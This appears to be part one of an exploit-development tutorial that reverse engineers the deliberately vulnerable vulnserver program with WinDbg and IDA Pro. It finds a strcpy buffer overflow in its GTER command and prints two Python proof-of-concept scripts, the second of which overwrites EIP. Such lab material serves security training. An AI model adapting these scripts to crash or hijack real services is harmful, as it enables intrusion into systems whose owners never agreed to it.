This article is the first part of an exploit development series regarding the exploitation process of the GTER command of the vulnserver executable. Furthermore, at this article we will analyse the vulnserver executable using WinDbg debugger assisted with reverse engineering techniques using IDA Pro, in order to understand how the binary works as well as to search for vulnerabilities that may lead to exploitation. In this article we will not be focusing on fuzzing techniques, but rather we will be focusing most in reverse engineering techniques in order to find potential security issues.
The tools used for this exercise are the following
- IDA Pro
- API Monitor v2 32-bit
- WinDbg
Binary Analysis
Starting our binary analysis, we will run API Monitor v2 in order to have a first site about how to communicate with the vulnserver.
As we can see at the image above, when we run vulnserver, we have an overview of the socket functions that we expect. According to msdn, the getaddrinfo
function provides protocol-independent translation from an ANSI host name to an address. Following, is the prototype of the getaddrinfo
function.
INT WSAAPI getaddrinfo(
PCSTR pNodeName,
PCSTR pServiceName,
const ADDRINFOA *pHints,
PADDRINFOA *ppResult
);
As we see above, the second argument is a pointer to a NULL-terminated ANSI string that contains either a service name or port number which is represented as a string.
Similar information regarding the port number we also get from the ntohs
function, which, in general terms and according to MSDN, converts a u_short
from TCP/IP network byte order to host byte order (which is little-endian on Intel processors). The ntohs
function can be used to convert an IP port number in network byte order to the IP port number in host byte order. Following, is the prototype of the ntohs
function
u_short ntohs(
u_short netshort
);
Now that we got this information, we can confirm that the server listens on port 9999
. As we see below, we are running netcat tool to connect to port 9999
As we see, there are some commands used by the vulnserver that should be investigated more. At this point we will perform some research regarding the functionality of the vulnserver. We will be using the following poc script in order to send some junk data to the vulnserver.
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.201.9"
port = 9999
buffer = "A"*5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send(buffer)
print s.recv(1024)
s.close()
At this point we are ready to run the script above in order to observe the functional behaviour of the vulnserver. For this reason we will be using WinDbg and IDA Pro. First we will run vulnserver on the target machine and then we will start IDA and attach WinDbg as seen below
After attaching the vulnserver process to WinDbg, we will be ready to start debugging. As we saw earlier, when the application starts, it binds to a specific port where it listens for incoming connections. All the related functions used to implement the raw socket connection are referred at the ws2_32.dll
module. Specifically, one interesting function is recv
, which according to msdn has the following prototype,
int recv(
SOCKET s,
char *buf,
int len,
int flags
);
The recv
function is the first entry point that will be used in order to receive the bytes coming from the user input. At this point we will put a breakpoint at the recv
function as follows
We start by seting a breakpoint at the recv
function using the command bp ws2_32!recv
Once we run the poc script, we immediately hit the breakpoint in WinDbg which is set at recv
function inside the ws2_32.dll
module.
Moreover, the recv
function is not of much interest at this time, so we will continue execution until return from recv
function. After returning from recv we will land to the address 0x00401958
Now, lets try to understand the code marked with a red square as seen at the screenshot above. First, esp
register will reserve some space on the stack, specifically 10h
( 16 bytes in decimal ), in order to put there the value in eax to the memory address contained in ebp-410h
, which has been moved there using the mov [ebp-410h], eax
instruction. The hex value 0x1000
that stored onto the stack at the address 0x0103fb60
is the return value of the recv
function which shows clearly that 4096 bytes have been written to the buffer, and this also indicates that there are data coming from user input.
So, as we now see at WinDbg debugger the value 0x1000
is stored in address 0x0103fb60
on the stack.
WINDBG>dd ebp-410h L1
0103fb60 00001000
Then the instruction cmp dword ptr [ebp-410h], 0
will compare the value pointed by [ebp-410h]
, with value 0
, and if the value is less than or equal to 0
, then the program flow should be redirected to the location loc_4024B6
. Also, as we see at the screenshot below, if there is a redirection of the execution flow to the location loc_4024B6
, the connection with the vulnserver would be closed.
At this point it won't be a redirection to loc_4024B6
, and the execution flow will continue as is. If no data returned from recv
function, then the socket connection would be closed. The following graph from IDA depicts the case where the execution flow would be redirected to the location loc_4024E8
following the termination of the socket connection.
Now, lets explain the following code inside the red square as seen at the screenshot below.
As we see at the assembly code above, some values are placed on the stack in order to be placed later at the strncmp
function as arguments. Moreover, an interesting instruction we see on IDA is the call near ptr unk_402Db8
. This instruction specifies a near call to a relative address of the next instruction that as we see below, it contains a jmp
instruction to an offset which points to strncmp
function.
Specifically, the immediate value 5 is placed on the stack at the memory address contained in esp+8
which indicates the length of the "HELP " command including the white space. Then the "HELP " string is placed on the stack at a memory address contained in esp+4
. Then the string from user input will be placed on the stack at the memory address contained in ebp-10h
.
Lets see the arguments of strncmp
function in WinDbg
Below we see the address that holds the immediate value 0x5 on the stack
WINDBG>dc esp+8 L1
00edf9d0 00000005
The second argument ( the string “HELP “ )
WINDBG>dc 00404244 L2
00404244 504c4548 00000020 HELP ...
The third argument ( the user input )
WINDBG>dc poi(ebp-10h)
00cd48e0 52455447 41414120 41414141 41414141 GTER AAAAAAAAAAA
00cd48f0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cd4900 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cd4910 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cd4920 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cd4930 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cd4940 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cd4950 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
[..SNIP..]
Afterwards, when the arguments are placed on the stack, a call to strncmp
function is happened, which then returns the hex value 0xFFFFFFFF
on eax
register as seen in WinDbg output below
WINDBG>r
eax=ffffffff ebx=00000100 ecx=00000048 edx=00000000 esi=00401848 edi=00401848
eip=004019f1 esp=0109f9c8 ebp=0109ff70 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
vulnserver+0x19f1:
004019f1 85c0 test eax,eax
The returned value stored at eax
is an indicator that the two strings are not equal. If we want to inspect the results further, we can observe the global flags CF
and ZF
on IDA Pro. Specifically the CF
flag has the value 1 and the ZF
has the value 0 which indicates that the source string ( the user input ) is bigger than the destination string ( src > dst ).
At this point as we also see at the image below the execution flow will be forwarded to the location loc_4019D6
Afterwards, when the comparison with "HELP" won't match, we will land to the location loc_401A4B
. At this point we see that there is also a string comparison with "STATS" and then, if there is again no match, the same code pattern will be repeated at the next code portion in order to compare with the string "RTIME", and so on and so forth, until all vulnserver commands will be checked.
At this point we realize that there is a pattern of string comparison with all possible commands offered by the vulnserver. Specifically, the execution flow will continue in the same way until we match the string "GTER"
. From the following WinDbg output, we see that the eax
register holds tha value 0x00000000
, which is the return value from strncmp
function and indicates that there is a match with "GTER"
string.
eax=00000000 ebx=00000100 ecx=0040444e edx=00000005 esi=00401848 edi=00401848
eip=00401fe9 esp=00e6f9c8 ebp=00e6ff70 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
vulnserver+0x1fe9:
00401fe9 0f85aa000000 jne vulnserver+0x2099 (00402099) [br=0]
At this point the jump (JNE) to address 0x00402099
will not be taken. Alternatively, the execution flow will continue to address 0x00401FEF
as seen at the image below.
At this point as we see at the following screenshot, there is a call to malloc
function ( loc_402DC0
), which allocates 180 bytes (0xb4).
If we follow the loc_402DC0
, we will see that there is a jump to the offset off_406198
which indicates the call to malloc
as seen at the image below
Further down, we see that there is a call to loc_4017CE
If we continue the execution we see the following code
After some instructions, we see at the address 0x004017D7
that when the instruction mov eax, [ebp+8]
executes, the eax
register holds the user input, which then will be copied using the strcpy
function. The remaining bytes that sent from the poc script will be cut off because the memory boundary has been exceeded.
WINDBG>dc eax L30
00ce48e0 52455447 41414120 41414141 41414141 GTER AAAAAAAAAAA
00ce48f0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4900 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4910 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4920 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4930 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4940 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4950 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4960 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4970 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4980 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00ce4990 41414141 00000000 3df6ae3b 00002a68 AAAA
then, the function strcpy
will be called using the instruction call loc_402DC8
at this point, if we continue the execution, the program will crash, and the following screenshot will be shown at the stack view in IDA Pro.
Now that we know the presence of a buffer overflow vulnerability, we should continue further and write a poc script in order to control the eip
register. As we also see at the stack view in IDA Pro, when the program crashed, the stack pointer ( esp
resister ) stopped at the address 0x00EAF9C8
. With this in mind, we will create the following poc script
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.201.9"
port = 9999
buffer = "A"*151 + "B"*4 + "C"*20
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GTER " + buffer)
print s.recv(1024)
s.close()
If we execute the above script, we will see that we control the EIP register.
WINDBG>r
eax=012cf928 ebx=00000100 ecx=00ec4998 edx=00000000 esi=00401848 edi=00401848
eip=42424242 esp=012cf9c8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
42424242 ?? ???
We also see the same results in IDA Pro as follows
At this point we can continue with the exploitation of the buffer overflow vulnerability in order to gain a shell. The exploitation of the vulnserver GTER command will be shown at a second part of this article.
Leave a comment